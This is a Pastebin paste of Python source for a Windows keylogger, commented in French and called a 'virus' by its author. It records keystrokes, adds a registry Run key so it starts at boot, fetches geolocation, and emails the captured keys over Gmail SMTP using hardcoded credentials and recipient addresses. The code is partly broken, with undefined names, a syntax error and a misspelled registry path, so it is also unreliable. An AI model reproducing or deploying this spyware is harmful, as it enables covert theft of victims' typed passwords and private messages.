Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os, sys #Pour gérer
- import smtplib #Pour les mails
- import threading #Pour le multi-threading
- import datetime, time #Libs pour dater le mail et créer un cooldown
- import ipgetter #Libs pour récupérer l'ip
- import pythoncom, pyHook #Libs pour le keylogger
- from urllib.request import urlopen #Libs pour la géolocalisation
- import json #Lib pour la géolocalisation
- mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
- if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
- mutex = None
- exit(0)
- x = ''
- data = ''
- count = 0
- def geolocalisation():
- try:
- data = json.loads(urlopen('http://freegeoip.net/json').read().decode()) #On récupère les données de localisation sur via l'url donnée
- latitude = str(data['latitude']) #On stocke la latitude
- longitude = str(data['longitude']) #On stocke la longitude
- msg = msg + "\nLocalisation :\n " + latitude + "\n" + longitude #On stocke tout dans le message
- except:
- pass #On ne relève pas l'erreur si existante
- def demarrage():
- if getattr(sys, 'frozen', False): #Si le script n'est pas un éxécutable
- chemin = os.path.dirname(os.path.realpath(sys.executable)) #On récupère le chemin du fichier en éliminant les erreurs dues aux caractères spéciaux
- elif __file__: #Si le script est sous la forme d'un éxécutable
- chemin = os.path.dirname(os.path.realpath(__file__)) #On récupère le chemin du fichier en éliminant les erreurs dues aux caractères spéciaux
- nom_fichier = sys.argv[0].split("\\")[-1] #On récupère le nom du fichier
- nouveau_chemin = chemin + "\\" + nom_fichier #On assemble le nouveau chemin
- valeurcle = r'Software\Mirosoft\Windows\CurrentVersion\Run'#On stocke la valeur de la clé registre nous permettant de lancer l'application au démarrage
- cle = OpenKey(HKEY_CURRENT_USER, valeurcle,0,KEY_ALL_ACCESS) #On localise laclé registre
- SetValueEx(key2change, "logger",0,RED_SZ, nouveau_chemin) #On change la valeur de la clé
- class Email(threading.Thread): #Création du thread
- def __init__(self): #Initialisation du thread
- threading.Thread.__init__(self) # //
- self.event = threading.Event() # //
- def run(self):
- while not self.event.is_set(): #Infinite loop
- global data
- if len(data)>100 #Si le contenu de data est supérieur à 100 caractères
- ts = datetime.datetime.now() #On récupère date, heure, et tout le tralala
- SERVER = 'smtp.gmail.com' #On indique le serveur smtp
- PORT = 587 #On indique le port du serveur
- USER = 'jeezsraspberrypi@gmail.com' #On indique l'email depuis lequel le mail va être envoyé
- PASS = 'Lennon33' #On indique le mot de passe du mail
- FROM = USER #On indique de qui part l'email
- TO = ["matteo2943@gmail.com"] #On indique à qui sera envoyé le mail
- SUBJECT = "Data : "+str(ts) #On indique le sujet ainsi que la valeur de ts (heure et date)
- MESSAGE = data #On donne au message la valeur de data
- message = """\ From: %s To: %s Subject: %s %s """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE) #On assemble le message qui sera envoyé
- try:
- server = smtplib.SMTP() #On définit SMTP
- server.connect(SERVER, PORT) #On se connecte au serveur SMTP
- server.starttls() #Obligatoire pour s'authentifier sur ce serveur SMTP de gmail (ils en ont 3 ptdr)
- server.login(USER, PASS) #On s'authentifie auprès du serveur
- server.sendmail(FROM, TO, message) #On envoie le mail
- # data = ''
- server.quit() #On se déconnecte du serveur
- except:
- pass
- self.event.wait(120) #On attend 2 minutes avant de loop
- def main():
- demarrage() #On lance la fonction qui permettra à notre virus de se lancer au démarrage
- email = Email() #On définit notre thread
- email.start() #On lance notre thread
- def keypressed(event):
- global x, data #On définit les variables x et data
- if event.Ascii == 8: #Si le code ASCII correspond à 8
- keys = '[BACK-SPACE]' #Afficher [BACK-SPACE]
- elif event.Ascii == 9: #Si le code ASCII correspond à 9
- keys = '[TAB]' #Afficher [TAB]
- elif event.Ascii == 13: #Si le code ASCII correspond à 13
- keys='[ENTER]' #Afficher [ENTER]
- else:
- keys=chr(event.Ascii)
- data = data+keys #Ajouter la lettre à la variable data
- objet = pyHook.HookManager()
- objet.KeyDown = keypressed()
- objet.HookKeyboard()
- pythoncom.PumpMessages()
- if __name__ == '__main__':
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement